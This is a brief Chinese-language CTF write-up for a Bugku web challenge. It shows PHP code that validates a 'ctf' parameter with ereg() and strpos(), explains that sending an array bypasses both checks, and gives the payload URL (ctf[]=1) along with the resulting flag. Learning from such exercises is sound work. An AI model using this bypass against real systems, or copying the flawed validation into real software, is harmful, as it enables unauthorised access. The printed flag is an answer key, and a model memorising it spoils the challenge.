php $flag = "flag"; if (isset ($_GET['ctf'])) { if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE) echo '必须输入数字才行'; else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '骚年,继续努力吧啊~'; } ?>
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
参数ctf要输入数字,同时又要输入#biubiubiu
但是两个函数都可以用数组进行绕过
payload
http://123.206.87.240:9009/15.php?ctf[]=1
Flag: flag{Bugku-D-M-S-J572}